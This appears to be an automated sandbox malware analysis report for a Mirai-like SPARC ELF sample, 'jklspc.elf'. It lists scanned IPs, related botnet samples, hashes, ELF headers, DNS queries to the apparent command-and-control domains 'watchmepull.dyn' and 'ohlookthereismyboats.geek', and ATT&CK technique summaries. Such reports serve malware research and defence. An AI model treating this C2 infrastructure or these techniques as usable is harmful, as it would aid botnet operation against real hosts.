137.114.87.112	unknown	United States	1767	ILIGHT-NETUS	false
106.25.96.246	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
72.167.185.211	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false
79.65.133.158	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
111.118.113.54	unknown	Korea Republic of	7623	HCNGYEONGBUK-AS-KRGyeongbukCableTVKR	false
132.137.64.227	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
208.179.61.209	unknown	United States	11509	TIERZERO-AS11509US	false
195.45.191.39	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
82.83.91.241	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
190.78.192.146	unknown	Venezuela	8048	CANTVServiciosVenezuelaVE	false
160.79.173.238	unknown	United States	32591	UNASSIGNED	false
112.249.78.72	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
202.211.121.125	unknown	Japan	23817	KOCHI-IDCFujitsuLimitedJP	false
15.59.18.133	unknown	United States	13979	ATT-IPFRUS	false
155.129.181.234	unknown	United States	11003	PANDGUS	false
107.210.26.117	unknown	United States	7018	ATT-INTERNET4US	false
219.167.80.61	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
170.216.128.147	unknown	United States	8103	STATE-OF-FLAUS	false
9.7.223.21	unknown	United States	3356	LEVEL3US	false
125.219.145.52	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
177.203.181.171	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
179.238.222.122	unknown	Brazil	7738	TelemarNorteLesteSABR	false
142.200.79.57	unknown	Canada	13576	SDNW-13576US	false
23.87.149.67	unknown	United States	395954	LEASEWEB-USA-LAX-11US	false
201.135.69.91	unknown	Mexico	8151	UninetSAdeCVMX	false
113.132.73.8	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
150.99.67.157	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
202.50.76.2	unknown	unknown	134692	IAG-NZ-ASIAGNewZealandNZ	false
203.207.123.60	unknown	China	17964	DXTNETBeijingDian-Xin-TongNetworkTechnologiesCoLtd	false
7.179.30.161	unknown	United States	3356	LEVEL3US	false
155.48.84.69	unknown	United States	16481	BABSON-GNETUS	false
26.94.217.107	unknown	United States	7922	COMCAST-7922US	false
60.49.58.139	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
185.113.156.30	unknown	Portugal	12926	ARTELECOMPTArTelecomAutonomousSystemPT	false
211.253.49.245	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
123.192.31.39	unknown	Taiwan; Republic of China (ROC)	38841	KBRO-AS-TWkbroCOLtdTW	false
113.88.87.93	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
157.74.202.216	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
145.221.53.23	unknown	Netherlands	15625	ING-ASAmsterdamNL	false
18.230.152.192	unknown	United States	16509	AMAZON-02US	false
70.183.155.92	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
177.211.158.59	unknown	Brazil	7738	TelemarNorteLesteSABR	false
199.199.11.14	unknown	United States	5715	ONVOYUS	false
179.134.12.248	unknown	Brazil	26599	TELEFONICABRASILSABR	false
16.221.53.225	unknown	United States	unknown	unknown	false
178.7.142.25	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
123.245.212.153	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
161.145.29.11	unknown	United States	263740	CorporacionLaceibanetsocietyHN	false
216.219.94.102	unknown	United States	19318	IS-AS-1US	false
82.70.67.70	unknown	United Kingdom	13037	ZEN-ASZenInternet-UKGB	false
75.239.165.89	unknown	United States	22394	CELLCOUS	false
198.51.240.9	unknown	United States	14222	NFCU-ASUS	false
55.104.114.128	unknown	United States	361	DNIC-ASBLK-00306-00371US	false
12.92.121.136	unknown	United States	7018	ATT-INTERNET4US	false
31.61.47.43	unknown	Poland	5617	TPNETPL	false
194.10.160.188	unknown	European Union	2686	ATGS-MMD-ASUS	false
205.237.214.70	unknown	Canada	376	RISQ-ASCA	false
223.199.27.193	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
143.30.225.42	unknown	United States	11003	PANDGUS	false
198.22.152.103	unknown	United States	3555	GRCI-WANUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
193.87.73.85	Bg3roWYlzp.elf	Get hash	malicious	Mirai	Browse
200.133.204.138	na.elf	Get hash	malicious	Mirai	Browse
46.8.80.177	kaizen.spc.elf	Get hash	malicious	Mirai	Browse
164.183.197.28	CKV3VmDymQ.elf	Get hash	malicious	Mirai	Browse
164.183.197.28	54myI2p63L.elf	Get hash	malicious	Mirai	Browse
186.39.62.43	SecuriteInfo.com.ELF.Agent-BQZ.23025.8688.elf	Get hash	malicious	Mirai	Browse
186.39.62.43	XUj78fC1wm	Get hash	malicious	Unknown	Browse
109.123.27.136	7WUpqmSezR.elf	Get hash	malicious	Mirai	Browse
72.98.54.206	atuyZ0obLx	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	splmpsl.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nabmips.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	mips.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklsh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	nklmips.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	zerppc.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	splsh4.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	splspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklarm5.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	zerm68k.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
watchmepull.dyn	nklarm5.elf	Get hash	malicious	Unknown	Browse	185.220.204.227

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DNIC-ASBLK-00306-00371US	mips.elf	Get hash	malicious	Unknown	Browse	155.21.166.63
	nklmips.elf	Get hash	malicious	Unknown	Browse	55.11.221.36
	splspc.elf	Get hash	malicious	Unknown	Browse	130.29.193.48
	nklarm5.elf	Get hash	malicious	Unknown	Browse	55.11.198.220
	nklm68k.elf	Get hash	malicious	Unknown	Browse	55.32.153.123
	jklarm7.elf	Get hash	malicious	Unknown	Browse	132.81.83.25
	jklarm.elf	Get hash	malicious	Unknown	Browse	130.31.205.182
	nabm68k.elf	Get hash	malicious	Unknown	Browse	55.47.158.114
	splmips.elf	Get hash	malicious	Unknown	Browse	130.29.1.207
	nabspc.elf	Get hash	malicious	Unknown	Browse	132.134.198.3
AssociacaoRedeNacionaldeEnsinoePesquisaBR	splsh4.elf	Get hash	malicious	Unknown	Browse	200.235.176.89
	splx86.elf	Get hash	malicious	Unknown	Browse	161.26.62.241
	jklarm7.elf	Get hash	malicious	Unknown	Browse	200.133.197.2
	arm7.elf	Get hash	malicious	Mirai	Browse	200.133.204.117
	sh4.elf	Get hash	malicious	Mirai	Browse	200.137.213.7
	1isequal9.mips.elf	Get hash	malicious	Unknown	Browse	161.25.97.7
	splm68k.elf	Get hash	malicious	Unknown	Browse	161.25.164.181
	jklspc.elf	Get hash	malicious	Unknown	Browse	200.235.242.170
	morte.sh4.elf	Get hash	malicious	Unknown	Browse	200.130.240.78
	yakov.x86.elf	Get hash	malicious	Mirai	Browse	150.163.171.117
CHINATELECOM-CTCLOUDCloudComputingCorporationCN	splmpsl.elf	Get hash	malicious	Unknown	Browse	36.111.147.177
	mips.elf	Get hash	malicious	Unknown	Browse	101.221.4.123
	nabm68k.elf	Get hash	malicious	Unknown	Browse	101.222.208.189
	nabspc.elf	Get hash	malicious	Unknown	Browse	101.208.27.76
	nklppc.elf	Get hash	malicious	Unknown	Browse	101.196.131.218
	ssh.mips.elf	Get hash	malicious	Mirai	Browse	182.42.184.74
	sh4.elf	Get hash	malicious	Unknown	Browse	140.246.119.123
	ppc.elf	Get hash	malicious	Unknown	Browse	140.246.119.182
	hgfs.x86.elf	Get hash	malicious	Unknown	Browse	101.212.184.56
	hgfs.arm.elf	Get hash	malicious	Unknown	Browse	101.130.194.191
EL-KhawarizmiTN	hgfs.x86.elf	Get hash	malicious	Unknown	Browse	164.183.68.175
	KKveTTgaAAsecNNaaaa.i486.elf	Get hash	malicious	Unknown	Browse	164.183.249.194
	cbr.mpsl.elf	Get hash	malicious	Mirai	Browse	164.183.197.17
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	164.189.48.138
	splsh4.elf	Get hash	malicious	Unknown	Browse	164.183.202.125
	jaws.elf	Get hash	malicious	Unknown	Browse	164.176.125.118
	jfeeps.elf	Get hash	malicious	Gafgyt, Mirai	Browse	164.181.138.99
	splmpsl.elf	Get hash	malicious	Unknown	Browse	164.176.159.95
	cbr.ppc.elf	Get hash	malicious	Mirai	Browse	193.95.38.71
	nabarm7.elf	Get hash	malicious	Unknown	Browse	164.182.136.135
VNPT-AS-VNVNPTCorpVN	nabmips.elf	Get hash	malicious	Unknown	Browse	14.255.44.48
	nklmips.elf	Get hash	malicious	Unknown	Browse	14.236.47.217
	splspc.elf	Get hash	malicious	Unknown	Browse	113.170.239.229
	nklarm5.elf	Get hash	malicious	Unknown	Browse	113.168.16.246
	splx86.elf	Get hash	malicious	Unknown	Browse	14.185.70.11
	nklm68k.elf	Get hash	malicious	Unknown	Browse	14.190.141.139
	jklppc.elf	Get hash	malicious	Unknown	Browse	113.177.188.37
	jklarm5.elf	Get hash	malicious	Unknown	Browse	123.27.148.140
	resgod.mips.elf	Get hash	malicious	Mirai	Browse	123.17.251.200
	k86m.elf	Get hash	malicious	Mirai	Browse	222.254.179.118

Process:	/tmp/jklspc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	249
Entropy (8bit):	3.192963385579101
Encrypted:	false
SSDEEP:	6:M3gDFfX6/VUV4DFuG3j/VfKoO/VNfiY/VH:M3YlrVwUwKl
MD5:	03C2BE54FF6EE9D2A8C46FBA25B9ED41
SHA1:	16C72EF37C4C4CD19F5E3C4867F0BFE8FEAB29C5
SHA-256:	A1458F831B011CBF77AD372C8F27EC57DB51D147AA1595FF1CF01D09C9213FC1
SHA-512:	FB235A5E216559D68887FFBA743F70F351AB0A10227E6E1CE7D79349B62A6235F87F78387A12320E02568855C8192A3C38FA90E1C39F2B90CE3A276E8D4A518D
Malicious:	false
Reputation:	low
Preview:	10000-20000 r-xp 00000000 fd:00 531606 /tmp/..20000-21000 rw-p 00010000 fd:00 531606 /tmp/..21000-23000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.994780126438215
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	jklspc.elf
File size:	66'504 bytes
MD5:	c597d72165d2a757c5eb64ff81887669
SHA1:	7b8caf7a925878d789ee80514937b75bea358448
SHA256:	7c2c26d6e87a96430ffc6d92626aaa6ebe483c7c897103c26493c8d42b1f2457
SHA512:	6c4432204209030adcd2a1988a3161a7faa5c2c7b8427e6ce63a5a8acf537d809f7ff6af5d276963cc6a8107c0c5d962a5cf2a044c93a87f0a15031c411f4fc0
SSDEEP:	1536:qeASjT319mVSIj24exnGZeMCjJYrel/UQ0LeH/L7qhq:hVeRjc2YVwqH/Lp
TLSH:	7C534A22B9792E1BD4C5A87B21E74238B1F1274E75E8CA2E7D720E4EFF1564026076B1
File Content Preview:	.ELF...........................4.........4. ...(.......................Z...Z...............................`........dt.Q................................@..(....@.9.................#.....a...`.....!..... ...@.....".........`......$ ... ...@...........`....

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	66064
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0xe81c	0x0	0x6	AX	4
.fini	PROGBITS	0x1e8cc	0xe8cc	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1e8e0	0xe8e0	0x107a	0x0	0x2	A	8
.ctors	PROGBITS	0x20000	0x10000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x20008	0x10008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x20010	0x10010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x20018	0x10018	0x1b4	0x0	0x3	WA	8
.bss	NOBITS	0x201d0	0x101cc	0x1290	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x101cc	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0xf95a	0xf95a	6.1149	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x10000	0x20000	0x20000	0x1cc	0x1460	2.2267	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 20:09:08.804979086 CET	192.168.2.15	51.158.108.203	0x96cf	Standard query (0)	watchmepull.dyn	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:19.047043085 CET	192.168.2.15	51.158.108.203	0x51be	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:29.641758919 CET	192.168.2.15	152.53.15.127	0xfc16	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:40.236885071 CET	192.168.2.15	168.235.111.72	0x6eea	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:50.969016075 CET	192.168.2.15	202.61.197.122	0x260b	Standard query (0)	watchmepull.dyn. [malformed]	256	382	false
Mar 19, 2025 20:09:50.987284899 CET	192.168.2.15	202.61.197.122	0x260b	Standard query (0)	watchmepull.dyn. [malformed]	256	383	false
Mar 19, 2025 20:09:51.005494118 CET	192.168.2.15	202.61.197.122	0x260b	Standard query (0)	watchmepull.dyn. [malformed]	256	383	false
Mar 19, 2025 20:09:51.024758101 CET	192.168.2.15	202.61.197.122	0x260b	Standard query (0)	watchmepull.dyn. [malformed]	256	383	false
Mar 19, 2025 20:09:51.044037104 CET	192.168.2.15	202.61.197.122	0x260b	Standard query (0)	watchmepull.dyn. [malformed]	256	383	false
Mar 19, 2025 20:10:01.686933041 CET	192.168.2.15	168.235.111.72	0x6338	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:10:12.378997087 CET	192.168.2.15	51.158.108.203	0xa707	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:10:22.653250933 CET	192.168.2.15	152.53.15.127	0x4428	Standard query (0)	watchmepull.dyn. [malformed]	256	414	false
Mar 19, 2025 20:10:22.673265934 CET	192.168.2.15	152.53.15.127	0x4428	Standard query (0)	watchmepull.dyn. [malformed]	256	414	false
Mar 19, 2025 20:10:22.691589117 CET	192.168.2.15	152.53.15.127	0x4428	Standard query (0)	watchmepull.dyn. [malformed]	256	414	false
Mar 19, 2025 20:10:22.711625099 CET	192.168.2.15	152.53.15.127	0x4428	Standard query (0)	watchmepull.dyn. [malformed]	256	414	false
Mar 19, 2025 20:10:22.737329960 CET	192.168.2.15	152.53.15.127	0x4428	Standard query (0)	watchmepull.dyn. [malformed]	256	414	false
Mar 19, 2025 20:10:33.381608009 CET	192.168.2.15	194.36.144.87	0x3526	Standard query (0)	watchmepull.dyn. [malformed]	256	425	false
Mar 19, 2025 20:10:33.407371998 CET	192.168.2.15	194.36.144.87	0x3526	Standard query (0)	watchmepull.dyn. [malformed]	256	425	false
Mar 19, 2025 20:10:33.426215887 CET	192.168.2.15	194.36.144.87	0x3526	Standard query (0)	watchmepull.dyn. [malformed]	256	425	false
Mar 19, 2025 20:10:33.453399897 CET	192.168.2.15	194.36.144.87	0x3526	Standard query (0)	watchmepull.dyn. [malformed]	256	425	false
Mar 19, 2025 20:10:33.470777035 CET	192.168.2.15	194.36.144.87	0x3526	Standard query (0)	watchmepull.dyn. [malformed]	256	426	false
Mar 19, 2025 20:10:49.098419905 CET	192.168.2.15	185.181.61.24	0x3f74	Standard query (0)	watchmepull.dyn. [malformed]	256	441	false
Mar 19, 2025 20:10:49.135565996 CET	192.168.2.15	185.181.61.24	0x3f74	Standard query (0)	watchmepull.dyn. [malformed]	256	441	false
Mar 19, 2025 20:10:49.172410011 CET	192.168.2.15	185.181.61.24	0x3f74	Standard query (0)	watchmepull.dyn. [malformed]	256	441	false
Mar 19, 2025 20:10:49.209439993 CET	192.168.2.15	185.181.61.24	0x3f74	Standard query (0)	watchmepull.dyn. [malformed]	256	441	false
Mar 19, 2025 20:10:49.246264935 CET	192.168.2.15	185.181.61.24	0x3f74	Standard query (0)	watchmepull.dyn. [malformed]	256	441	false
Mar 19, 2025 20:10:59.925385952 CET	192.168.2.15	194.36.144.87	0xbaa0	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:11:10.528944969 CET	192.168.2.15	168.235.111.72	0x796f	Standard query (0)	ohlookthereismyboats.geek	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 20:09:08.820359945 CET	51.158.108.203	192.168.2.15	0x96cf	No error (0)	watchmepull.dyn		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:08.820359945 CET	51.158.108.203	192.168.2.15	0x96cf	No error (0)	watchmepull.dyn		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:08.820359945 CET	51.158.108.203	192.168.2.15	0x96cf	No error (0)	watchmepull.dyn		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:19.062371969 CET	51.158.108.203	192.168.2.15	0x51be	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:19.062371969 CET	51.158.108.203	192.168.2.15	0x51be	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:19.062371969 CET	51.158.108.203	192.168.2.15	0x51be	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:29.664549112 CET	152.53.15.127	192.168.2.15	0xfc16	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:29.664549112 CET	152.53.15.127	192.168.2.15	0xfc16	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:29.664549112 CET	152.53.15.127	192.168.2.15	0xfc16	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:40.328860998 CET	168.235.111.72	192.168.2.15	0x6eea	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:40.328860998 CET	168.235.111.72	192.168.2.15	0x6eea	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:09:40.328860998 CET	168.235.111.72	192.168.2.15	0x6eea	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:10:01.774563074 CET	168.235.111.72	192.168.2.15	0x6338	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:10:01.774563074 CET	168.235.111.72	192.168.2.15	0x6338	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:10:01.774563074 CET	168.235.111.72	192.168.2.15	0x6338	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:10:12.394435883 CET	51.158.108.203	192.168.2.15	0xa707	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:10:12.394435883 CET	51.158.108.203	192.168.2.15	0xa707	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:10:12.394435883 CET	51.158.108.203	192.168.2.15	0xa707	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:10:22.672007084 CET	152.53.15.127	192.168.2.15	0x4428	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	414	false
Mar 19, 2025 20:10:22.690356970 CET	152.53.15.127	192.168.2.15	0x4428	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	414	false
Mar 19, 2025 20:10:22.710069895 CET	152.53.15.127	192.168.2.15	0x4428	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	414	false
Mar 19, 2025 20:10:22.735443115 CET	152.53.15.127	192.168.2.15	0x4428	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	414	false
Mar 19, 2025 20:10:22.760379076 CET	152.53.15.127	192.168.2.15	0x4428	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	414	false
Mar 19, 2025 20:10:33.405958891 CET	194.36.144.87	192.168.2.15	0x3526	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	425	false
Mar 19, 2025 20:10:33.425041914 CET	194.36.144.87	192.168.2.15	0x3526	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	425	false
Mar 19, 2025 20:10:33.452254057 CET	194.36.144.87	192.168.2.15	0x3526	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	425	false
Mar 19, 2025 20:10:33.469928980 CET	194.36.144.87	192.168.2.15	0x3526	Format error (1)	watchmepull.dyn. [malformed]	none	none	256	425	false
Mar 19, 2025 20:10:59.947843075 CET	194.36.144.87	192.168.2.15	0xbaa0	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:10:59.947843075 CET	194.36.144.87	192.168.2.15	0xbaa0	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:10:59.947843075 CET	194.36.144.87	192.168.2.15	0xbaa0	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:11:10.617885113 CET	168.235.111.72	192.168.2.15	0x796f	No error (0)	ohlookthereismyboats.geek		104.248.47.182	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:11:10.617885113 CET	168.235.111.72	192.168.2.15	0x796f	No error (0)	ohlookthereismyboats.geek		185.220.204.227	A (IP address)	IN (0x0001)	false
Mar 19, 2025 20:11:10.617885113 CET	168.235.111.72	192.168.2.15	0x796f	No error (0)	ohlookthereismyboats.geek		45.147.251.145	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Mar 19, 2025 20:09:20.519124031 CET	34.243.160.129	443	192.168.2.15	36178	CN=motd.ubuntu.com CN=R11, O=Let's Encrypt, C=US	CN=R11, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	Sun Jan 05 09:21:36 CET 2025 Wed Mar 13 01:00:00 CET 2024	Sat Apr 05 10:21:35 CEST 2025 Sat Mar 13 00:59:59 CET 2027
Mar 19, 2025 20:09:20.519124031 CET	34.243.160.129	443	192.168.2.15	36178	CN=R11, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Wed Mar 13 01:00:00 CET 2024	Sat Mar 13 00:59:59 CET 2027

Start time (UTC):	19:09:06
Start date (UTC):	19/03/2025
Path:	/tmp/jklspc.elf
Arguments:	/tmp/jklspc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	19:09:07
Start date (UTC):	19/03/2025
Path:	/tmp/jklspc.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	19:09:20
Start date (UTC):	19/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report jklspc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.09AhUI (deleted)

/tmp/qemu-open.0CwZtI (deleted)

/tmp/qemu-open.0fHd7K (deleted)

/tmp/qemu-open.0g0msH (deleted)

/tmp/qemu-open.0vejgL (deleted)

/tmp/qemu-open.0yr3IK (deleted)

